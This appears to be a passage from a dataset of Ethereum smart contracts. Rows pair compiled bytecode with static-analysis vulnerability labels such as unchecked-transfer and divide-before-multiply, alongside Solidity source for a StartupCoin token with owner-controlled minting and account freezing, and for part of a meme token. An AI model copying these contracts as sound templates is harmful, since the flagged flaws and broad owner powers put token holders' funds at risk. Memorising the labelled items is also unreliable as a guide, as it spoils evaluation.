5afa158015612041573d6000803e3d6000fd5b505050506040513d602081101561205757600080fd5b810190808051906020019092919050505090506000600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231836040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b1580156120f557600080fd5b505afa158015612109573d6000803e3d6000fd5b505050506040513d602081101561211f57600080fd5b810190808051906020019092919050505090506000600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231846040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b1580156121bd57600080fd5b505afa1580156121d1573d6000803e3d6000fd5b505050506040513d60208110156121e757600080fd5b810190808051906020019092919050505090506122278161221984670de0b6b3a7640000612d3a90919063ffffffff16565b612dc090919063ffffffff16565b935050505090565b6000670de0b6b3a76400006301e187e00261225a8361224c611872565b612d3a90919063ffffffff16565b8161226157fe5b049050919050565b600080735c69bee701ef814a2b6a3edd4b1652cb9cc5aa6f73ffffffffffffffffffffffffffffffffffffffff1663e6a43905600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff1681526020018273ffffffffffffffffffffffffffffffffffffffff1681526020019250505060206040518083038186803b15801561234957600080fd5b505afa15801561235d573d6000803e3d6000fd5b505050506040513d602081101561237357600080fd5b810190808051906020019092919050505090506000600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231836040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b15801561241157600080fd5b505afa158015612425573d6000803e3d6000fd5b505050506040513d602081101561243b57600080fd5b810190808051906020019092919050505090506124fb8273ffffffffffffffffffffffffffffffffffffffff166318160ddd6040518163ffffffff1660e01b815260040160206040518083038186803b15801561249757600080fd5b505afa1580156124ab573d6000803e3d6000fd5b505050506040513d60208110156124c157600080fd5b81019080805190602001909291905050506124ed6124de87612b0a565b84612d3a90919063ffffffff16565b612dc090919063ffffffff16565b92505050919050565b600760169054906101000a900460ff1681565b426203f480600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020540111156125b4576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602b815260200180613212602b913960400191505060405180910390fd5b61260e6125c033612e54565b600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612ec990919063ffffffff16565b600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555042600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555060006126a082612fed565b90506126f481600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612e0a90919063ffffffff16565b600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166340c10f1933846040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050600060405180830381600087803b1580156127ca57600080fd5b505af11580156127de573d6000803e3d6000fd5b505050505050565b737a250d5630b4cf539739df2c5dacb4c659f2488d81565b600061286261285d61280f84612e54565b600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612ec990919063ffffffff16565b61222f565b9050919050565b60085481565b600080735c69bee701ef814a2b6a3edd4b1652cb9cc5aa6f73ffffffffffffffffffffffffffffffffffffffff1663e6a43905600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff1681526020018273ffffffffffffffffffffffffffffffffffffffff1681526020019250505060206040518083038186803b15801561294f57600080fd5b505afa158015612963573d6000803e3d6000fd5b505050506040513d602081101561297957600080fd5b810190808051906020019092919050505090506000600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231836040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b158015612a1757600080fd5b505afa158015612a2b573d6000803e3d6000fd5b505050506040513d6020811015612a4157600080fd5b81019080805190602001909291905050509050612b018273ffffffffffffffffffffffffffffffffffffffff166318160ddd6040518163ffffffff1660e01b815260040160206040518083038186803b158015612a9d57600080fd5b505afa158015612ab1573d6000803e3d6000fd5b505050506040513d6020811015612ac757600080fd5b8101908080519060200190929190505050612af3612ae487612b0a565b84612d3a90919063ffffffff16565b612dc090919063ffffffff16565b92505050919050565b6000600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b612b5b612f51565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614612bfb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260158152602001807f43616c6c6572206973206e6f74207072696d617279000000000000000000000081525060200191505060405180910390fd5b612c03611b20565b15612c59576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602e815260200180613270602e913960400191505060405180910390fd5b80600760166101000a81548160ff02191690831515021790555050565b60008273ffffffffffffffffffffffffffffffffffffffff168260405180600001905060006040518083038185875af1925050503d8060008114612cd6576040519150601f19603f3d011682016040523d82523d6000602084013e612cdb565b606091505b5050905080612d35576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252603a8152602001806131b7603a913960400191505060405180910390fd5b505050565b600080831415612d4d5760009050612dba565b6000828402905082848281612d5e57fe5b0414612db5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260218152602001806131f16021913960400191505060405180910390fd5b809150505b92915050565b6000612e0283836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250613030565b905092915050565b6000612e4c83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506130f6565b905092915050565b6000612ec2612eab600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205442612e0a90919063ffffffff16565b612eb484612b0a565b612d3a90919063ffffffff16565b9050919050565b600080828401905083811015612f47576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b60007378c883eb7a1c2b11129d8113a5e40d815e1cb33d73ffffffffffffffffffffffffffffffffffffffff16638da5cb5b6040518163ffffffff1660e01b815260040160206040518083038186803b158015612fad57600080fd5b505afa158015612fc1573d6000803e3d6000fd5b505050506040513d6020811015612fd757600080fd5b8101908080519060200190929190505050905090565b6000613029612ffa611872565b61301b670de0b6b3a76400006301e187e00285612d3a90919063ffffffff16565b612dc090919063ffffffff16565b9050919050565b600080831182906130dc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b838110156130a1578082015181840152602081019050613086565b50505050905090810190601f1680156130ce5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385816130e857fe5b049050809150509392505050565b60008383111582906131a3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b8381101561316857808201518184015260208101905061314d565b50505050905090810190601f1680156131955780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b506000838503905080915050939250505056fe416464726573733a20756e61626c6520746f2073656e642076616c75652c20726563697069656e74206d61792068617665207265766572746564536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f77497420686173206e6f74206265656e203320646179732073696e636520796f75207374616b656420796574497420686173206e6f74206265656e203620686f7572732073696e636520636f6e7472616374206372656174696f6e207965746d616b65556e6368616e676561626c6528292066756e6374696f6e2077617320616c72656164792063616c6c6564a26469706673582212209f1941d022cd3b534bf761579bea70a6e159817a19f279a36757cc7cf340735564736f6c634300060c0033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
| 3,759 |
0x6ff869d8727ef71369dd33d7e6fd63da31ae203f
|
pragma solidity ^0.4.21;
/*
* Creator: START (StartupCoin)
*/
/*
* Abstract Token Smart Contract
*
*/
/*
* Safe Math Smart Contract.
* https://github.com/OpenZeppelin/zeppelin-solidity/blob/master/contracts/math/SafeMath.sol
*/
contract SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function safeDiv(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function safeSub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function safeAdd(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
/**
* ERC-20 standard token interface, as defined
* <a href="http://github.com/ethereum/EIPs/issues/20">here</a>.
*/
contract Token {
function totalSupply() constant returns (uint256 supply);
function balanceOf(address _owner) constant returns (uint256 balance);
function transfer(address _to, uint256 _value) returns (bool success);
function transferFrom(address _from, address _to, uint256 _value) returns (bool success);
function approve(address _spender, uint256 _value) returns (bool success);
function allowance(address _owner, address _spender) constant returns (uint256 remaining);
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
}
/**
* Abstract Token Smart Contract that could be used as a base contract for
* ERC-20 token contracts.
*/
contract AbstractToken is Token, SafeMath {
/**
* Create new Abstract Token contract.
*/
function AbstractToken () {
// Do nothing
}
/**
* Get number of tokens currently belonging to given owner.
*
* @param _owner address to get number of tokens currently belonging to the
* owner of
* @return number of tokens currently belonging to the owner of given address
*/
function balanceOf(address _owner) constant returns (uint256 balance) {
return accounts [_owner];
}
/**
* Transfer given number of tokens from message sender to given recipient.
*
* @param _to address to transfer tokens to the owner of
* @param _value number of tokens to transfer to the owner of given address
* @return true if tokens were transferred successfully, false otherwise
* accounts [_to] + _value > accounts [_to] for overflow check
* which is already in safeMath
*/
function transfer(address _to, uint256 _value) returns (bool success) {
require(_to != address(0));
if (accounts [msg.sender] < _value) return false;
if (_value > 0 && msg.sender != _to) {
accounts [msg.sender] = safeSub (accounts [msg.sender], _value);
accounts [_to] = safeAdd (accounts [_to], _value);
}
Transfer (msg.sender, _to, _value);
return true;
}
/**
* Transfer given number of tokens from given owner to given recipient.
*
* @param _from address to transfer tokens from the owner of
* @param _to address to transfer tokens to the owner of
* @param _value number of tokens to transfer from given owner to given
* recipient
* @return true if tokens were transferred successfully, false otherwise
* accounts [_to] + _value > accounts [_to] for overflow check
* which is already in safeMath
*/
function transferFrom(address _from, address _to, uint256 _value)
returns (bool success) {
require(_to != address(0));
if (allowances [_from][msg.sender] < _value) return false;
if (accounts [_from] < _value) return false;
if (_value > 0 && _from != _to) {
allowances [_from][msg.sender] = safeSub (allowances [_from][msg.sender], _value);
accounts [_from] = safeSub (accounts [_from], _value);
accounts [_to] = safeAdd (accounts [_to], _value);
}
Transfer(_from, _to, _value);
return true;
}
/**
* Allow given spender to transfer given number of tokens from message sender.
* @param _spender address to allow the owner of to transfer tokens from message sender
* @param _value number of tokens to allow to transfer
* @return true if token transfer was successfully approved, false otherwise
*/
function approve (address _spender, uint256 _value) returns (bool success) {
allowances [msg.sender][_spender] = _value;
Approval (msg.sender, _spender, _value);
return true;
}
/**
* Tell how many tokens given spender is currently allowed to transfer from
* given owner.
*
* @param _owner address to get number of tokens allowed to be transferred
* from the owner of
* @param _spender address to get number of tokens allowed to be transferred
* by the owner of
* @return number of tokens given spender is currently allowed to transfer
* from given owner
*/
function allowance(address _owner, address _spender) constant
returns (uint256 remaining) {
return allowances [_owner][_spender];
}
/**
* Mapping from addresses of token holders to the numbers of tokens belonging
* to these token holders.
*/
mapping (address => uint256) accounts;
/**
* Mapping from addresses of token holders to the mapping of addresses of
* spenders to the allowances set by these token holders to these spenders.
*/
mapping (address => mapping (address => uint256)) private allowances;
}
/**
* START token smart contract.
*/
contract STARTToken is AbstractToken {
/**
* Maximum allowed number of tokens in circulation.
* tokenSupply = tokensIActuallyWant * (10 ^ decimals)
*/
uint256 constant MAX_TOKEN_COUNT = 500000000000 * (10**5);
/**
* Address of the owner of this smart contract.
*/
address private owner;
/**
* Frozen account list holder
*/
mapping (address => bool) private frozenAccount;
/**
* Current number of tokens in circulation.
*/
uint256 tokenCount = 0;
/**
* True if tokens transfers are currently frozen, false otherwise.
*/
bool frozen = false;
/**
* Create new token smart contract and make msg.sender the
* owner of this smart contract.
*/
function STARTToken () {
owner = msg.sender;
}
/**
* Get total number of tokens in circulation.
*
* @return total number of tokens in circulation
*/
function totalSupply() constant returns (uint256 supply) {
return tokenCount;
}
string constant public name = "StartupCoin";
string constant public symbol = "START";
uint8 constant public decimals = 5;
/**
* Transfer given number of tokens from message sender to given recipient.
* @param _to address to transfer tokens to the owner of
* @param _value number of tokens to transfer to the owner of given address
* @return true if tokens were transferred successfully, false otherwise
*/
function transfer(address _to, uint256 _value) returns (bool success) {
require(!frozenAccount[msg.sender]);
if (frozen) return false;
else return AbstractToken.transfer (_to, _value);
}
/**
* Transfer given number of tokens from given owner to given recipient.
*
* @param _from address to transfer tokens from the owner of
* @param _to address to transfer tokens to the owner of
* @param _value number of tokens to transfer from given owner to given
* recipient
* @return true if tokens were transferred successfully, false otherwise
*/
function transferFrom(address _from, address _to, uint256 _value)
returns (bool success) {
require(!frozenAccount[_from]);
if (frozen) return false;
else return AbstractToken.transferFrom (_from, _to, _value);
}
/**
* Change how many tokens given spender is allowed to transfer from message
* spender. In order to prevent double spending of allowance,
* To change the approve amount you first have to reduce the addresses`
* allowance to zero by calling `approve(_spender, 0)` if it is not
* already 0 to mitigate the race condition described here:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender address to allow the owner of to transfer tokens from
* message sender
* @param _value number of tokens to allow to transfer
* @return true if token transfer was successfully approved, false otherwise
*/
function approve (address _spender, uint256 _value)
returns (bool success) {
require(allowance (msg.sender, _spender) == 0 || _value == 0);
return AbstractToken.approve (_spender, _value);
}
/**
* Create _value new tokens and give new created tokens to msg.sender.
* May only be called by smart contract owner.
*
* @param _value number of tokens to create
* @return true if tokens were created successfully, false otherwise
*/
function createTokens(uint256 _value)
returns (bool success) {
require (msg.sender == owner);
if (_value > 0) {
if (_value > safeSub (MAX_TOKEN_COUNT, tokenCount)) return false;
accounts [msg.sender] = safeAdd (accounts [msg.sender], _value);
tokenCount = safeAdd (tokenCount, _value);
// adding transfer event and _from address as null address
Transfer(0x0, msg.sender, _value);
return true;
}
return false;
}
/**
* Set new owner for the smart contract.
* May only be called by smart contract owner.
*
* @param _newOwner address of new owner of the smart contract
*/
function setOwner(address _newOwner) {
require (msg.sender == owner);
owner = _newOwner;
}
/**
* Freeze ALL token transfers.
* May only be called by smart contract owner.
*/
function freezeTransfers () {
require (msg.sender == owner);
if (!frozen) {
frozen = true;
Freeze ();
}
}
/**
* Unfreeze ALL token transfers.
* May only be called by smart contract owner.
*/
function unfreezeTransfers () {
require (msg.sender == owner);
if (frozen) {
frozen = false;
Unfreeze ();
}
}
/*A user is able to unintentionally send tokens to a contract
* and if the contract is not prepared to refund them they will get stuck in the contract.
* The same issue used to happen for Ether too but new Solidity versions added the payable modifier to
* prevent unintended Ether transfers. However, there’s no such mechanism for token transfers.
* so the below function is created
*/
function refundTokens(address _token, address _refund, uint256 _value) {
require (msg.sender == owner);
require(_token != address(this));
AbstractToken token = AbstractToken(_token);
token.transfer(_refund, _value);
RefundTokens(_token, _refund, _value);
}
/**
* Freeze specific account
* May only be called by smart contract owner.
*/
function freezeAccount(address _target, bool freeze) {
require (msg.sender == owner);
require (msg.sender != _target);
frozenAccount[_target] = freeze;
FrozenFunds(_target, freeze);
}
/**
* Logged when token transfers were frozen.
*/
event Freeze ();
/**
* Logged when token transfers were unfrozen.
*/
event Unfreeze ();
/**
* Logged when a particular account is frozen.
*/
event FrozenFunds(address target, bool frozen);
/**
* when accidentally send other tokens are refunded
*/
event RefundTokens(address _token, address _refund, uint256 _value);
}
|
0x6060604052600436106100db576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806301502460146100e057806306fdde03146100f5578063095ea7b31461018357806313af4035146101dd57806318160ddd1461021657806323b872dd1461023f578063313ce567146102b857806331c420d4146102e757806370a08231146102fc5780637e1f2bb81461034957806389519c501461038457806395d89b41146103e5578063a9059cbb14610473578063dd62ed3e146104cd578063e724529c14610539575b600080fd5b34156100eb57600080fd5b6100f361057d565b005b341561010057600080fd5b610108610639565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561014857808201518184015260208101905061012d565b50505050905090810190601f1680156101755780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561018e57600080fd5b6101c3600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610672565b604051808215151515815260200191505060405180910390f35b34156101e857600080fd5b610214600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919050506106a8565b005b341561022157600080fd5b610229610748565b6040518082815260200191505060405180910390f35b341561024a57600080fd5b61029e600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610752565b604051808215151515815260200191505060405180910390f35b34156102c357600080fd5b6102cb6107e0565b604051808260ff1660ff16815260200191505060405180910390f35b34156102f257600080fd5b6102fa6107e5565b005b341561030757600080fd5b610333600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919050506108a0565b6040518082815260200191505060405180910390f35b341561035457600080fd5b61036a60048080359060200190919050506108e8565b604051808215151515815260200191505060405180910390f35b341561038f57600080fd5b6103e3600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610a71565b005b34156103f057600080fd5b6103f8610c6c565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561043857808201518184015260208101905061041d565b50505050905090810190601f1680156104655780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561047e57600080fd5b6104b3600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610ca5565b604051808215151515815260200191505060405180910390f35b34156104d857600080fd5b610523600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610d31565b6040518082815260200191505060405180910390f35b341561054457600080fd5b61057b600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919080351515906020019091905050610db8565b005b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156105d957600080fd5b600560009054906101000a900460ff161515610637576001600560006101000a81548160ff0219169083151502179055507f615acbaede366d76a8b8cb2a9ada6a71495f0786513d71aa97aaf0c3910b78de60405160405180910390a15b565b6040805190810160405280600b81526020017f53746172747570436f696e00000000000000000000000000000000000000000081525081565b60008061067f3385610d31565b148061068b5750600082145b151561069657600080fd5b6106a08383610f19565b905092915050565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561070457600080fd5b80600260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000600454905090565b6000600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515156107ad57600080fd5b600560009054906101000a900460ff16156107cb57600090506107d9565b6107d684848461100b565b90505b9392505050565b600581565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561084157600080fd5b600560009054906101000a900460ff161561089e576000600560006101000a81548160ff0219169083151502179055507f2f05ba71d0df11bf5fa562a6569d70c4f80da84284badbe015ce1456063d0ded60405160405180910390a15b565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6000600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561094657600080fd5b6000821115610a675761096266b1a2bc2ec500006004546113f1565b8211156109725760009050610a6c565b6109ba6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548361140a565b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610a086004548361140a565b6004819055503373ffffffffffffffffffffffffffffffffffffffff1660007fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a360019050610a6c565b600090505b919050565b6000600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610acf57600080fd5b3073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614151515610b0a57600080fd5b8390508073ffffffffffffffffffffffffffffffffffffffff1663a9059cbb84846040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b1515610baf57600080fd5b5af11515610bbc57600080fd5b50505060405180519050507ffab5e7a27e02736e52f60776d307340051d8bc15aee0ef211c7a4aa2a8cdc154848484604051808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001828152602001935050505060405180910390a150505050565b6040805190810160405280600581526020017f535441525400000000000000000000000000000000000000000000000000000081525081565b6000600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151515610d0057600080fd5b600560009054906101000a900460ff1615610d1e5760009050610d2b565b610d288383611428565b90505b92915050565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610e1457600080fd5b8173ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151515610e4f57600080fd5b80600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055507f48335238b4855f35377ed80f164e8c6f3c366e54ac00b96a6402d4a9814a03a58282604051808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001821515151581526020019250505060405180910390a15050565b600081600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415151561104857600080fd5b81600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410156110d557600090506113ea565b816000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054101561112457600090506113ea565b60008211801561116057508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b15611380576111eb600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054836113f1565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506112b36000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054836113f1565b6000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061133d6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548361140a565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190505b9392505050565b60008282111515156113ff57fe5b818303905092915050565b600080828401905083811015151561141e57fe5b8091505092915050565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415151561146557600080fd5b816000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410156114b45760009050611674565b6000821180156114f057508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614155b1561160a5761153d6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054836113f1565b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506115c76000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548361140a565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190505b929150505600a165627a7a7230582001de80fb369d0c94282af594d1ffababbf1fd44fb0ece97fb803ee949421c3870029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}]}}
| 3,760 |
0x48bf15428494c5891538318280eccf969a34c641
|
/**
*Submitted for verification at Etherscan.io on 2022-04-08
*/
/**
Hut Teo, three, four !
Captain Teemo on duty!
🎯 STEALTH LAUNCH 🎯
🍄TotalSupply :1,000,000,000,000
🍄MaxBuy:2%. = 20000000000
🍄MaxWallet:3%
Website: https://teemoinu.com/
Tg: https://t.me/LoLTeemoInu
*/
pragma solidity ^0.8.13;
// SPDX-License-Identifier: UNLICENSED
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
